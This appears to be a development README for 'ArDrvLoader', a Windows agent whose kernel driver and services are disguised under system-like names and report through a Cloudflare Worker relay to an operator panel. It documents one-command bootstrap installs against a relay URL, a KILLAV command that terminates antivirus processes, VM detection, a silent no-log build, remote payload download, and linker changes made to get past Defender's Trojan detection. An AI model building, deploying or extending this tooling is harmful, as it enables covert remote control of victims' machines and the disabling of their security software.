||
DeviceSetupHost RUNNING "...\DeviceSetupHost.exe" -service driver ...
|
||
ProgramCompatHost RUNNING "...\DeviceSetupHost.exe" -service guard ...
|
||
ServiceStateHost RUNNING "...\DeviceSetupHost.exe" -service repair ...
|
||
CloudTest RUNNING "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ...
|
||
```
|
||
|
||
All four run from the installed copy, not from the build directory. Agent ACK
|
||
after the reinstall:
|
||
|
||
```
|
||
OK → C:\Test\second.txt "installed with one UAC" Owner: BUILTIN\Administrators
|
||
```
|
||
|
||
`CloudSyncHost` is the default name when `--cloud-service` is not given.
|
||
|
||
**Remote deployment caveat:** this one-UAC flow applies when the binary is started
|
||
in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no
|
||
UAC prompt can appear, so the call must already arrive with administrator or
|
||
SYSTEM rights. Self-elevation is for the "user double-clicks the file" case.
|
||
|
||
## Architecture: agent -> Worker (proxy) -> relay server
|
||
|
||
```
|
||
agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel
|
||
operator ─────► Cloudflare Worker ──► relay server
|
||
```
|
||
|
||
The Worker owns **nothing**. It forwards every method, path, header and body to
|
||
`SERVER_URL` and streams the response back. State, auth, the panel and payloads
|
||
all live on your own host.
|
||
|
||
### Worker side
|
||
|
||
`cloudflare/worker.js` — about 60 lines:
|
||
|
||
- sets `X-Proxy-Secret` when `PROXY_SECRET` is configured
|
||
- strips Cloudflare headers (`cf-connecting-ip`, `cf-ray`, ...) before forwarding
|
||
- passes `request.body` straight through for POST bodies
|
||
- returns 502 with the reason when the relay is unreachable
|
||
|
||
`cloudflare/wrangler.toml`:
|
||
|
||
```toml
|
||
[vars]
|
||
SERVER_URL = "http://127.0.0.1:8790"
|
||
```
|
||
|
||
`PROXY_SECRET` goes in as a Worker secret, not in `wrangler.toml`.
|
||
|
||
### Relay server
|
||
|
||
`server/server.js` — Node 22+ (uses `node:sqlite`, no npm dependencies).
|
||
|
||
```bash
|
||
cd cpp_end/server
|
||
set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=...
|
||
node server.js
|
||
```
|
||
|
||
| Env | Purpose |
|
||
|---|---|
|
||
| `PORT` | listen port, default 8790 |
|
||
| `DATA_DIR` | sqlite database + `files/` payload dir |
|
||
| `PANEL_PATH` | defaults to `server/panel.html` |
|
||
| `AGENT_SECRET` | master key for per-agent derivation |
|
||
| `OPERATOR_KEY` | panel / operator API key |
|
||
| `ENROLL_SECRET` | enrollment token |
|
||
| `LEGACY_MASTER_AUTH` | `true` accepts the old shared key during rollout |
|
||
| `PROXY_SECRET` | when set, every request must carry `X-Proxy-Secret` |
|
||
|
||
Everything from the previous Worker implementation moved here unchanged: HMAC
|
||
verification, per-agent key derivation, enrollment, revocation, the 180 s reaper,
|
||
broadcast, command history and the panel.
|
||
|
||
Storage is `data/ardrv.sqlite` (`agents`, `commands`, `events`). Payloads for
|
||
`/file/<name>` are read from `data/files/`.
|
||
|
||
### Verified end to end
|
||
|
||
```
|
||
agent devbox → worker :8789 → server :8790 → sqlite online
|
||
agent devbox2 → same path online
|
||
POST /api/enqueue via worker → PING → done, result PONG
|
||
GET /panel via worker → 200, panel.html from the server
|
||
GET :8790/api/agents with no proxy header → 403
|
||
```
|
||
|
||
### Local loop
|
||
|
||
```
|
||
# relay
|
||
cd cpp_end/server
|
||
node server.js
|
||
|
||
# worker in front of it
|
||
cd cpp_end/cloudflare
|
||
wrangler dev --port 8789 --ip 127.0.0.1 --local
|
||
|
||
# agent
|
||
ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ...
|
||
```
|
||
|
||
`.dev.vars` for the worker only needs `SERVER_URL` and `PROXY_SECRET` now.
|
||
|
||
### Mock worker
|
||
|
||
`cloudflare/mock-worker.ps1` still exists as a self-contained stand-in (in-memory
|
||
API, serves `../server/panel.html`) for environments without Node or wrangler.
|
||
It does not exercise sqlite, so it will not catch database errors.
|
||
|
||
### Panel
|
||
|
||
Served by the relay at `/panel`, proxied by the Worker. `?key=` pre-fills the
|
||
operator key and stores it in `localStorage`.
|
||
|
||
**Console tab** — per-agent composer, quick chips, history cards with `copy result`
|
||
and `run again`.
|
||
|
||
**All commands tab** — every command, defaulting to executed ones:
|
||
|
||
| Column | Sorts by |
|
||
|---|---|
|
||
| time | creation |
|
||
| agent | id |
|
||
| command | text |
|
||
| state | queued / sent / done |
|
||
| by | panel / agent / broadcast |
|
||
| result | ack text, truncated |
|
||
| took | duration, `waiting` while in flight |
|
||
|
||
Each row carries two controls plus the row itself:
|
||
|
||
| Action | Effect |
|
||
|---|---|
|
||
| small `run` chip | re-enqueue this command for the same agent after a confirm |
|
||
| `+` or the result cell | expand the full result inline |
|
||
| anywhere else on the row | load the command into that agent's console, ready to edit |
|
||
|
||
Free-text filter and a state dropdown above the table.
|
||
|
||
**Palette** — `all commands (47)` opens every `HELP` command grouped into basics,
|
||
execute, files, processes, security, driver, hosts, payload, services, session,
|
||
with a search box. Chips with arguments load the template into the composer; the
|
||
rest send immediately.
|
||
|
||
**Agent header** — host, user, SID, version, interval, plus `revoke` / `restore`
|
||
for the agent's key. Revoked agents show a red tag in the list.
|
||
|
||
Broadcast sends one command to every online agent.
|
||
|
||
## Per-agent keys and revocation
|
||
|
||
Each agent now authenticates with its own key instead of the shared master.
|
||
|
||
```
|
||
agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId) --> hex
|
||
signature = HMAC-SHA256(agentKey, canonical request)
|
||
```
|
||
|
||
The worker derives the key on demand and never stores it.
|
||
|
||
**Enroll once per agent**
|
||
|
||
```
|
||
ArDrvLoader.exe -enroll --url https://<worker> --agent <id> --enroll-secret <ENROLL_SECRET>
|
||
```
|
||
|
||
Writes `%...%\agent-<id>.key` under the loader root (falls back to the legacy
|
||
single `agent.key`). The agent reads it automatically when `--secret` and
|
||
`CA_SECRET` are absent.
|
||
|
||
**Revoke / restore**
|
||
|
||
```
|
||
POST /api/revoke {"agent":"devbox","revoked":true} X-Operator-Key required
|
||
```
|
||
|
||
Revoked agents get `403 revoked` on every poll. Re-enrolling the same id clears
|
||
the flag, so recovery is one command. The panel exposes this as a
|
||
`revoke` / `restore` button in the agent header, plus a red `revoked` tag in the
|
||
agent list.
|
||
|
||
**Worker endpoints added**
|
||
|
||
| Method | Path | Auth |
|
||
|---|---|---|
|
||
| POST | `/api/enroll` | `X-Enroll-Secret` (own token, not the operator key) |
|
||
| POST | `/api/revoke` | operator |
|
||
|
||
`LEGACY_MASTER_AUTH=true` keeps accepting the old shared key during a rollout;
|
||
it defaults to off. `.dev.vars` for local runs:
|
||
|
||
```
|
||
AGENT_SECRET=testsecret
|
||
OPERATOR_KEY=testop
|
||
ENROLL_SECRET=testenroll
|
||
LEGACY_MASTER_AUTH=false
|
||
```
|
||
|
||
Verified end to end against workerd + local D1:
|
||
|
||
```
|
||
-enroll OK agent=devbox secret stored in ...\agent-devbox.key
|
||
agent start no --secret, reads the file -> poll 200
|
||
master key signed request -> 403 denied
|
||
derived key signed request -> PONG
|
||
revoke age stops growing, revoked=true
|
||
re-enroll revoked=false, agent resumes within one poll
|
||
two agents devbox + devbox2, separate key files, both online
|
||
```
|
||
|
||
One bug this shook out: the first implementation compared the derived key itself
|
||
against the request signature instead of signing the request with it, so every
|
||
request 403'd. Fixed by computing `hmacHex(agentKey, canonical)`.
|
||
|
||
## Antivirus triage
|
||
|
||
A fresh build was flagged as `Trojan:Win32/Wacatac.B!ml` - a machine-learning
|
||
verdict, not a signature. Two build properties were feeding it:
|
||
|
||
1. the linker embedded the full local build path (`C:\Code\AvKiler\...`)
|
||
2. the Rich header and timestamps carried a recognisable toolchain fingerprint
|
||
|
||
Changes:
|
||
|
||
| Linker option | Why |
|
||
|---|---|
|
||
| `/Brepro` | reproducible build: drops the Rich header and embeds a stable hash instead of timestamps |
|
||
| `/PDBALTPATH:%_PDB%` | keeps absolute build paths out of the binary |
|
||
|
||
Result on the same Defender engine (1.461.217.0):
|
||
|
||
```
|
||
MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation
|
||
Scanning ... found no threats.
|
||
```
|
||
|
||
Both variants scan clean: the embedded single-exe build (335 360 bytes) and the
|
||
`-NoEmbed` build (274 432 bytes). Execution of the rebuilt exe produced no new
|
||
detection entries.
|
||
|
||
### Embedded vs -NoEmbed
|
||
|
||
```
|
||
build.ps1 -Configuration Release # 335 KB, driver + stage DLL inside
|
||
build.ps1 -Configuration Release -NoEmbed # 274 KB, resources omitted
|
||
```
|
||
|
||
`-NoEmbed` passes `/p:EmbedPayload=false`, which disables both `driver_res.rc`
|
||
and `stage_res.rc`. The exe then needs `ardrv.sys` and `ardrvstage.dll` delivered
|
||
separately - for example `DOWNLOAD` them into the stage dir after the cloud agent
|
||
is up, since the agent itself does not need either file to register.
|
||
|
||
### What this does not solve
|
||
|
||
- The binary is **unsigned**. SmartScreen will still warn on a freshly
|
||
downloaded copy (Mark of the Web), independent of Defender's static verdict.
|
||
- Detection on execution is behavioural: creating services, writing to
|
||
System32, terminating AV processes. A static-clean binary can still be caught
|
||
in real time once it acts. Code signing (EV / Azure Trusted Signing) is the
|
||
durable fix, not more static tricks.
|
||
|
||
## Build variants
|
||
|
||
| Config | Subsystem | Console | Logs | Use |
|
||
|---|---|---|---|---|
|
||
| Release | `Windows` | none, silent start | compiled out | deploy |
|
||
| Debug | `Console` | visible | `C:\Users\Public\ardrv_loader.log` | diagnose |
|
||
|
||
Release links with `SubSystem=Windows` and `EntryPointSymbol=wmainCRTStartup`, so
|
||
double-clicking produces **no console window** while `wmain` still runs normally.
|
||
`Logger.h` compiles every `Log()` call out of Release, so there is no log file and
|
||
no `OutputDebugString` either.
|
||
|
||
Elevation now happens **before** the VM gate: a double-click always raises the UAC
|
||
prompt, even on a host the gate would later refuse.
|
||
|
||
`ARDRV_ALLOW_VM_DEFAULT=1` is compiled in for lab images that are themselves
|
||
virtual machines; set it to `0` for a real target build.
|
||
|
||
## Single-exe client
|
||
|
||
`ArDrvLoader.exe` is the whole client. No Worker code, no server code, no
|
||
sidecar files - verified by scanning the binary for `worker.js`, `server.js`,
|
||
`express`, `node:sqlite`, `wrangler`, `cloudflare`.
|
||
|
||
**Double-click** (no arguments) runs the bootstrap with defaults baked in at
|
||
build time:
|
||
|
||
| Macro | Meaning | Current value |
|
||
|---|---|---|
|
||
| `ARDRV_DEFAULT_URL` | relay/Worker address | `http://127.0.0.1:8789` |
|
||
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
|
||
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
|
||
| `ARDRV_DEFAULT_AGENT` | agent id | empty - computer name is used |
|
||
|
||
Rebuild with different values by editing those macros in `ArDrvLoader.vcxproj`
|
||
(`PreprocessorDefinitions`), or override at runtime:
|
||
|
||
```
|
||
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> [--agent <id>] [--no-killav]
|
||
```
|
||
|
||
Flow with no arguments:
|
||
|
||
1. VmGate, then self-elevation - one UAC
|
||
2. driver + three services + cloud agent service against the baked URL
|
||
3. wait for the agent to register (id = computer name)
|
||
4. queue `KILLAV` through the server so the run appears in the panel
|
||
5. print the result
|
||
|
||
Verified:
|
||
|
||
- binary scan: no server/worker strings
|
||
- no-arg dispatch reaches bootstrap and picks `DESKTOP-RB1A813` as the agent id
|
||
- explicit-args bootstrap from one copied exe: services running, agent online, `KILLAV done`
|
||
- non-elevated run stops at `Cannot write HKLM\SOFTWARE\ArDrvLoader`, as expected
|
||
|
||
## Single-exe client bootstrap
|
||
|
||
One file is enough on a fresh machine:
|
||
|
||
```
|
||
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> \
|
||
[--agent <id>] [--secret <agent-key>] [--target <path>] [--no-killav]
|
||
```
|
||
|
||
It elevates itself once, installs driver + three services + the cloud agent
|
||
service pointing at the given URL, waits for the agent to register, then queues
|
||
`KILLAV` through the server so the run is visible in the panel as a normal
|
||
command. Driver image and stage payload are embedded, nothing else is copied.
|
||
|
||
`start-all.cmd -Url https://relay.example` is a thin wrapper for local testing; it
|
||
starts nothing on the server side.
|
||
|
||
**Offline detection fix:** the panel compared `last_seen` (seconds) against
|
||
`interval * 3` (milliseconds), so an agent that had been dead for twenty minutes
|
||
still showed as online. Now `interval` is converted to seconds, and stale agents
|
||
render grey with `online=false`.
|
||
|
||
**Installer retry:** replacing the service binary right after stopping the
|
||
services can hit a sharing violation while the old image is still mapped. The
|
||
copy now retries for up to 10 s instead of failing the install and leaving the
|
||
services stopped.
|
||
|
||
Verified with a single copied exe in an empty folder:
|
||
|
||
```
|
||
EXIT=0
|
||
services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running
|
||
agents: newuser1 online, five older agents offline
|
||
commands: newuser1 KILLAV done "OK EXECUTED killed=2 candidates=2"
|
||
```
|
||
|
||
## Reliability fixes
|
||
|
||
| Problem | Fix |
|
||
|---|---|
|
||
| A new loader kept injecting the old stage DLL | `StageDllPath()` now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ |
|
||
| The 180 s reaper could make a slow command run twice | the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as `OK (dup, not re-executed)` without running |
|
||
| SQLite writer contention and unbounded growth | relay opens with `journal_mode=WAL`, `busy_timeout=5000`, `synchronous=NORMAL`, and prunes once a minute |
|
||
|
||
Retention defaults, overridable by env: commands older than 7 days, events older
|
||
than 30 days, hard cap of 50,000 commands (`RETAIN_COMMAND_DAYS`,
|
||
`RETAIN_EVENT_DAYS`, `RETAIN_MAX_COMMANDS`).
|
||
|
||
Verified:
|
||
|
||
```
|
||
stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ
|
||
command requeued in sqlite -> agent acks "OK (dup, not re-executed)"
|
||
relay start log -> journal mode: wal
|
||
```
|
||
|
||
## Still open
|
||
|
||
- Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel.
|
||
- Encrypt `HKLM\Software\CloudAgent` secrets at rest with DPAPI (the guard config
|
||
key is DACL-hardened, the cloud config key is not).
|
||
- `DOWNLOAD` leaves payloads on disk; add a retention/cleanup pass.
|
||
- Driver device object ACL cannot be verified from this repo (no driver source).
|